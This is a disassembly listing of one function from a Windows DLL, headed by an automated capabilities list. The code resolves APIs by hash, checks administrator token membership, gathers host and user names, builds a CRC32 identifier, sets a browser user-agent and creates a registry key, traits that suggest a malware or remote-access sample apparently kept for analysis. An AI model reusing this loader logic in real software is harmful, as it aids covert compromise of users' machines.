Function at 0x10005100
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Get common file path
Get hostname
Get session user name
Get token membership
Hash data with crc32
Parse pe header
Reference http user-agent string
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x1e8
push ebx
push ebp
push esi
push edi
sub eax, 0
je 0x100062c3
sub eax, 1
jne 0x1000648e
mov ebx, dword [esp + 0x1fc]
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x105
push 8
mov dword [0x1000e3d8], eax
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
push 0x105
push eax
mov dword [0x1000e414], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000556e
push dword [0x1000e414]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call esi
push 0x105
push 8
call ebp
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push eax
push ebx
mov dword [0x1000e450], eax
call edi
push 0x105
push 8
mov dword [0x1000e464], eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x1000e464]
mov dword [0x1000e45c], eax
push dword [0x1000e450]
push eax
call sub.NTDLL.dll_RtlMoveMemory
push 0
push 0
push dword [0x1000e45c]
call fcn.100066c0
add esp, 0xc
mov dword [0x1000e460], eax
push dword [0x1000e450]
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push dword [0x1000e450]
call esi
push dword [0x1000e450]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
push 0
push dword [0x1000e450]
call fcn.100066c0
add esp, 0xc
mov dword [0x1000e454], eax
push dword [0x1000e450]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x105
push 8
mov dword [0x1000e458], eax
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
push eax
push 0
mov dword [0x1000e468], eax
call edi
push dword [0x1000e468]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [0x1000e470], eax
call esi
push 0
push 0
push dword [0x1000e468]
mov dword [0x1000e474], eax
call fcn.100066c0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
mov dword [0x1000e46c], eax
push dword [0x1000e45c]
call edi
push str.kernel32.dll
mov dword [0x1000e3dc], eax
call edi
push 0xff000000
mov dword [esp + 0xf0], eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], 0xc0c1bd8d
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
push 1
push ecx
push eax
call fcn.10007df0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000e178]
test eax, eax
cmovne ecx, eax
push str.ntdll.dll
mov dword [0x1000e178], ecx
call edi
push 0xff000000
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], 0x8c210360
push ecx
push eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.10007df0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000e17c]
test eax, eax
cmovne ecx, eax
push dword [0x1000e45c]
mov dword [0x1000e17c], ecx
call esi
push eax
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov edx, eax
mov dword [0x1000e6a8], edx
test edx, edx
je 0x100053af
mov ecx, dword [ebx + 0x3c]
xor esi, esi
mov edi, dword [ecx + ebx + 0x78]
mov eax, dword [edi + ebx + 0x20]
add eax, ebx
cmp dword [edi + ebx + 0x18], esi
jbe 0x100053af
mov ebp, eax
mov eax, dword [ebp + esi*4]
add eax, ebx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi*4 + 0x1000e6ac], eax
inc esi
cmp esi, dword [edi + ebx + 0x18]
jae 0x100053a9
mov edx, dword [0x1000e6a8]
jmp 0x10005385
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x11c
push 0x1000e4c8
call sub.NTDLL.dll_RtlZeroMemory
push 0x1000e4c8
mov dword [0x1000e4c8], 0x11c
call sub.NTDLL.dll_RtlGetVersion
lea eax, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push 0xa
push 0xffffffffffffffff
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x100054b2
cmp dword [0x1000e4cc], 5
mov dword [esp + 0x24], 0
mov dword [esp + 0x14], 0
jbe 0x1000545e
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x24]
push eax
push 0x12
push dword [esp + 0x28]
call edi
test eax, eax
je 0x10005457
cmp dword [esp + 0x1c], 3
jne 0x10005457
lea eax, [esp + 0x14]
push eax
push 4
lea eax, [esp + 0x2c]
push eax
push 0x13
push dword [esp + 0x28]
call edi
cmp dword [esp + 0x24], 0
jne 0x10005476
lea eax, [esp + 0x24]
push eax
push 1
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
cmp dword [esp + 0x24], 0
je 0x100054ac
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x44
push eax
lea eax, [esp + 0x58]
push eax
push 0
push 0x1a
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x100054a6
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x2c]
call esi
push dword [esp + 0x24]
call ebx
push dword [esp + 0x18]
call ebx
mov eax, dword [esp + 0x10]
mov dword [0x1000e480], eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x44]
mov dword [esp + 0x38], 0
push eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x48], 0
mov word [esp + 0x4c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1000551a
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x18]
push 0
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 0x10]
mov dword [0x1000e47c], eax
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, dword [0x1000e3d8]
mov dword [0x1000e41c], eax
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x1000648e
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x1000648e
mov ecx, dword [eax + ecx + 0x58]
cmp ecx, 0x3b75f
jne 0x10005576
push 0
push dword [0x1000e448]
call fcn.100071d0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1000e6c0]
cmp ecx, 0x13df7ca
mov ecx, 1
mov dword [esp + 0xe4], 0x104
push 0x20a
cmove eax, ecx
push 8
mov dword [0x1000e6c0], eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov dword [0x1000e42c], eax
test eax, eax
je 0x100055d1
lea ecx, [esp + 0xe4]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x100055d1
mov eax, dword [0x1000e42c]
xor ecx, ecx
mov word [eax], cx
push 0x20a
push 8
mov dword [esp + 0xf0], 0x104
call ebp
push eax
call ebx
mov dword [0x1000e438], eax
test eax, eax
je 0x10005615
lea ecx, [esp + 0xe8]
push ecx
push eax
push 3
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
mov eax, dword [0x1000e438]
jne 0x10005615
xor ecx, ecx
mov word [eax], cx
mov eax, dword [0x1000e438]
mov ecx, dword [0x1000e42c]
test ecx, ecx
je 0x10005636
push 0
push 0
push ecx
call fcn.10008f40
mov dword [0x1000e428], eax
add esp, 0xc
mov eax, dword [0x1000e438]
test eax, eax
je 0x1000564c
push 0
push 0
push eax
call fcn.10008f40
add esp, 0xc
mov dword [0x1000e434], eax
cmp dword [0x1000e6c0], 0
je 0x1000648e
push 0
push 0
push str.wuapihost.exe
call fcn.100066c0
add esp, 0xc
mov dword [0x1000e4a4], eax
lea eax, [esp + 0x18]
xor esi, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
push eax
push 8
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10005770
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
push esi
push esi
push 1
push dword [esp + 0x28]
call edi
test eax, eax
jne 0x10005766
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10005766
push dword [esp + 0x14]
push 8
call ebp
push eax
call ebx
mov esi, eax
test esi, esi
je 0x10005764
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push esi
push 1
push dword [esp + 0x28]
call edi
test eax, eax
je 0x10005752
lea eax, [esp + 0x24]
mov dword [esp + 0x1c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x12
push 1
lea eax, [esp + 0x44]
mov word [esp + 0x48], 0x500
push eax
mov dword [esp + 0x50], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10005748
push dword [esp + 0x24]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x1000573c
mov dword [esp + 0x10], 1
jmp 0x10005748
push 0x1000e424
push dword [esi]
call sub.ADVAPI32.dll_ConvertSidToStringSidA
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x10]
jmp 0x10005766
xor esi, esi
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1000e3f8], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [esp + 0x50]
mov dword [esp + 0x50], 0
push ecx
push eax
call fcn.10003ed0
mov edi, eax
add esp, 8
test edi, edi
je 0x10005806
push dword [edi]
call dword [sym.imp.USER32.dll_CharLowerA]
mov ecx, dword [esp + 0x50]
cmp ecx, 1
jle 0x100057ff
mov esi, 1
mov ebp, esi
lea eax, [ecx - 1]
cmp esi, eax
jge 0x100057db
mov eax, dword [edi + esi*4]
cmp byte [eax], 0x77
jne 0x100057db
cmp byte [eax + 1], 0
jne 0x100057db
push dword [edi + esi*4 + 4]
inc esi
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov ecx, dword [esp + 0x50]
mov dword [0x1000e448], eax
jmp 0x100057f4
mov edx, dword [edi + esi*4]
cmp byte [edx], 0x6b
jne 0x100057f4
cmp byte [edx + 1], 0
mov eax, dword [0x1000e400]
cmove eax, ebp
mov dword [0x1000e400], eax
inc esi
cmp esi, ecx
jl 0x100057b0
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x104
push 8
call ebp
push eax
call ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [0x1000e44c], eax
test eax, eax
je 0x10005838
push dword [0x1000e4d0]
push dword [0x1000e4cc]
push str.Mozilla_5.0__Windows_NT__u._u__Firefox_78.0
push eax
call ebx
add esp, 0x10
mov eax, dword [0x1000e424]
xor esi, esi
mov dword [esp + 0x1c], eax
mov eax, dword [0x1000e434]
push 0x800
mov dword [esp + 0x18], eax
mov eax, dword [0x1000e428]
push 8
mov dword [esp + 0x20], eax
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x100058af
push 2
push dword [esp + 0x20]
push dword [esp + 0x1c]
push dword [esp + 0x24]
push str._s_s_s_c
push eax
call ebx
add esp, 0x18
push eax
push dword [esp + 0x14]
push esi
call sub.NTDLL.dll_RtlComputeCrc32
xor edx, edx
mov ecx, 0xffffff7f
div ecx
push dword [esp + 0x10]
mov esi, edx
push 0
bswap esi
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 3
mul esi
push 0
push 0x1000e0cc
mov eax, esi
sub eax, edx
push 0
shr eax, 1
push 0xf023f
add eax, edx
push 0
shr eax, 0x1e
push 0
imul eax, eax, 0x7fffffff
push 0
push str.SOFTWAREUsorisBackup
push 0x80000001
sub esi, eax
mov dword [0x1000e418], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000556e
mov eax, dword [0x1000e450]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0
test eax, eax
je 0x100059dc
lea ecx, [esp + 0x24]
push ecx
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 4
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoA]
test eax, eax
jne 0x100059dc
push 0x44
push 8
mov dword [esp + 0x24], 0x44
call ebp
push eax
call edi
mov esi, eax
test esi, esi
je 0x100059dc
lea eax, [esp + 0x1c]
push eax
push esi
push 0
push 1
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x100059d0
lea eax, [esp + 0x14]
mov dword [esp + 0x34], 1
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x38]
mov dword [esp + 0x38], sym.MSIMG32.dll_Ordinal_47
push eax
push 1
mov dword [esp + 0x48], 3
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x5c], esi
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
push 0
push dword [esp + 0x18]
push 0
push 0
push 4
push 1
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push str.imagehlp.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
push 0x631143df
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x30], 2
push ecx
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0x253fac28
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.10007df0
mov eax, dword [esp + 0x4c]
add esp, 0x10
test eax, eax
je 0x10005a66
lea ecx, [esp + 0x28]
push ecx
lea ecx, [esp + 0x30]
push ecx
push dword [0x1000e45c]
call eax
call fcn.10005020
test eax, eax
jne 0x1000556e
mov esi, dword [esp + 0xec]
mov dword [0x1000e6bc], 1
test esi, esi
je 0x10005c7f
push 0x631143df
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x34]
push 1
push eax
push esi
mov dword [esp + 0x40], 0x4d4177d4
call fcn.10007df0
mov eax, dword [esp + 0x4c]
add esp, 0x10
mov ecx, dword [0x1000e0f4]
test eax, eax
cmovne ecx, eax
xor eax, eax
mov dword [0x1000e0f4], ecx
mov dword [esp + 0x10], eax
test ecx, ecx
je 0x10005ae5
lea eax, [esp + 0x10]
push eax
push 0xffffffffffffffff
call ecx
neg eax
sbb eax, eax
and eax, dword [esp + 0x10]
mov dword [0x1000e420], eax
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xbcceb12b
push eax
push 9
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10004990
push eax
push esi
mov dword [esp + 0x6c], 0x1000e0e4
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x5e2e2340
mov dword [esp + 0x78], 0x10004740
mov dword [esp + 0x7c], 0x1000e180
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0x9f7a012e
mov dword [esp + 0x88], 0x10006c00
mov dword [esp + 0x8c], 0x1000e150
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0xa2e2fba9
mov dword [esp + 0x98], 0x100074d0
mov dword [esp + 0x9c], 0x1000e0ec
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xa7a5ea92
mov dword [esp + 0xa8], 0x100077a0
mov dword [esp + 0xac], 0x1000e170
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xc2feaaf6
mov dword [esp + 0xb8], 0x10007840
mov dword [esp + 0xbc], 0x1000e0f8
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0x3f942f98
mov dword [esp + 0xc8], 0x10006f90
mov dword [esp + 0xcc], 0x1000e3e8
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xaddfba77
mov dword [esp + 0xd8], 0x10007b00
mov dword [esp + 0xdc], 0x1000e3d4
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xbaa3474b
mov dword [esp + 0xe8], 0x100064a0
mov dword [esp + 0xec], 0x1000e120
mov dword [esp + 0xf0], 0
call fcn.10008e80
add esp, 0x10
push str.user32.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov ecx, eax
mov dword [0x1000e0e8], ecx
test ecx, ecx
je 0x10005e23
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xa5126c5b
push eax
push 8
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10007ff0
push eax
push ecx
mov dword [esp + 0x6c], 0x1000e064
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xb624fee8
mov dword [esp + 0x78], 0x100050d0
mov dword [esp + 0x7c], 0x1000e104
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0x288d34a4
mov dword [esp + 0x88], 0x10001660
mov dword [esp + 0x8c], 0x1000e06c
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0x343c1e51
mov dword [esp + 0x98], 0x10006be0
mov dword [esp + 0x9c], 0x1000e174
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xc0e8ab00
mov dword [esp + 0xa8], 0x10006be0
mov dword [esp + 0xac], 0x1000e028
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0xc442ac10
mov dword [esp + 0xb8], 0x10001530
mov dword [esp + 0xbc], 0x1000e0d0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xa2578f57
mov dword [esp + 0xc8], 0x10001530
mov dword [esp + 0xcc], 0x1000e100
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0xf184d6f6
mov dword [esp + 0xd8], 0x10008c00
mov dword [esp + 0xdc], 0x1000e024
mov dword [esp + 0xe0], 0
call fcn.10008e80
add esp, 0x10
push str.shell32.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov ecx, eax
mov dword [0x1000e48c], ecx
test ecx, ecx
je 0x10005eb8
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0xc7ee492e
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x10001660
push eax
push ecx
mov dword [esp + 0x48], 0x1000e124
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x5c981f54
mov dword [esp + 0x54], 0x100091e0
mov dword [esp + 0x58], 0x1000e144
mov dword [esp + 0x5c], 0
call fcn.10008e80
add esp, 0x10
push str.ws2_32.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov ecx, eax
mov dword [0x1000e184], ecx
test ecx, ecx
je 0x10005f4d
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0x25ddb08c
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x10001670
push eax
push ecx
mov dword [esp + 0x48], 0x1000e0f0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x17debac0
mov dword [esp + 0x54], 0x10008e40
mov dword [esp + 0x58], 0x1000e3ec
mov dword [esp + 0x5c], 0
call fcn.10008e80
add esp, 0x10
push str.winmm.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov ecx, eax
mov dword [0x1000e02c], ecx
test ecx, ecx
je 0x10005fe2
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x30], 0x9d27ac39
push eax
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x3c], 0x100028c0
push eax
push ecx
mov dword [esp + 0x48], 0x1000e188
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0x5789c82b
mov dword [esp + 0x54], 0x10001660
mov dword [esp + 0x58], 0x1000e3e0
mov dword [esp + 0x5c], 0
call fcn.10008e80
add esp, 0x10
push str.wtsapi32.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov dword [0x1000e14c], eax
test eax, eax
je 0x10006055
mov ecx, dword [esp + 0x28]
sub ecx, dword [esp + 0x2c]
xor ecx, 0x631143df
mov dword [esp + 0x30], 0xf42fa5bc
push ecx
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x3c], 0x100079d0
push ecx
push eax
mov dword [esp + 0x48], 0x1000e08c
mov dword [esp + 0x4c], 0
call fcn.10008e80
add esp, 0x10
push str.advapi32.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov ecx, eax
mov dword [0x1000e068], ecx
test ecx, ecx
je 0x10006225
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
xor eax, 0x631143df
mov dword [esp + 0x54], 0xc3109516
push eax
push 9
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], 0x10007570
push eax
push ecx
mov dword [esp + 0x6c], 0x1000e0fc
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0x56ff8c5d
mov dword [esp + 0x78], 0x10002770
mov dword [esp + 0x7c], 0x1000e484
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xd41bd247
mov dword [esp + 0x88], 0x10006ee0
mov dword [esp + 0x8c], 0x1000e11c
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0x4e422a93
mov dword [esp + 0x98], 0x10008c10
mov dword [esp + 0x9c], 0x1000e490
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0x7b817146
mov dword [esp + 0xa8], 0x10004880
mov dword [esp + 0xac], 0x1000e088
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0x842db31e
mov dword [esp + 0xb8], 0x100079f0
mov dword [esp + 0xbc], 0x1000e158
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xdd30a549
mov dword [esp + 0xc8], 0x100027f0
mov dword [esp + 0xcc], 0x1000e3e4
mov dword [esp + 0xd0], 0
mov dword [esp + 0xd4], 0x85b69c83
mov dword [esp + 0xd8], 0x10007410
mov dword [esp + 0xdc], 0x1000e148
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf1bdc0d7
mov dword [esp + 0xe8], 0x10003bc0
mov dword [esp + 0xec], 0x1000e020
mov dword [esp + 0xf0], 0
call fcn.10008e80
add esp, 0x10
push str.wintrust.dll
push dword [0x1000e414]
lea eax, [esp + 0xf8]
push 0x1000a390
push eax
call ebx
add esp, 0x10
lea eax, [esp + 0xf0]
push eax
call dword [0x1000e178]
mov dword [0x1000e154], eax
test eax, eax
je 0x10006298
mov ecx, dword [esp + 0x28]
sub ecx, dword [esp + 0x2c]
xor ecx, 0x631143df
mov dword [esp + 0x30], 0xc7f3ad14
push ecx
push 1
lea ecx, [esp + 0x38]
mov dword [esp + 0x3c], 0x10006f10
push ecx
push eax
mov dword [esp + 0x48], 0x1000e118
mov dword [esp + 0x4c], 0
call fcn.10008e80
add esp, 0x10
push 0
call fcn.10006840
test eax, eax
jne 0x1000556e
pop edi
pop esi
pop ebp
mov dword [0x1000e6bc], 2
mov eax, 1
pop ebx
add esp, 0x1e8
ret 0xc
mov eax, dword [0x1000e414]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x100062e0
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e450]
test eax, eax
je 0x100062f1
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e454]
test eax, eax
je 0x10006302
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e45c]
test eax, eax
je 0x10006313
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e460]
test eax, eax
je 0x10006324
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e468]
test eax, eax
je 0x10006335
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e46c]
test eax, eax
je 0x10006346
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e42c]
test eax, eax
je 0x10006357
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e438]
test eax, eax
je 0x10006368
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e428]
test eax, eax
je 0x10006379
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e434]
test eax, eax
je 0x1000638a
push eax
push 0
call esi
push eax
call edi
cmp dword [0x1000e6c0], 0
je 0x1000648e
mov eax, dword [0x1000e0e8]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x100063a9
push eax
call ebx
mov eax, dword [0x1000e48c]
test eax, eax
je 0x100063b5
push eax
call ebx
mov eax, dword [0x1000e068]
test eax, eax
je 0x100063c1
push eax
call ebx
mov eax, dword [0x1000e154]
test eax, eax
je 0x100063cd
push eax
call ebx
mov eax, dword [0x1000e184]
test eax, eax
je 0x100063d9
push eax
call ebx
mov eax, dword [0x1000e02c]
test eax, eax
je 0x100063e5
push eax
call ebx
mov eax, dword [0x1000e14c]
test eax, eax
je 0x100063f1
push eax
call ebx
mov eax, dword [0x1000e0cc]
test eax, eax
je 0x10006401
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1000e4a4]
test eax, eax
je 0x10006412
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e44c]
test eax, eax
je 0x10006423
push eax
push 0
call esi
push eax
call edi
mov eax, dword [0x1000e424]
test eax, eax
je 0x10006433
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x1000e6bc]
cmp eax, 2
jne 0x10006449
push 0
call fcn.100070b0
mov eax, dword [0x1000e6bc]
test eax, eax
jle 0x10006452
call fcn.10007730
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x1000e684
nop dword [eax]
mov eax, dword [esi]
test eax, eax
je 0x10006469
push eax
call edi
add esi, 4
cmp esi, 0x1000e690
jl 0x10006460
mov ecx, dword [0x1000e444]
test ecx, ecx
je 0x1000648e
push 0
push ecx
call sub.NTDLL.dll_NtTerminateThread
push dword [0x1000e444]
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1e8
ret 0xc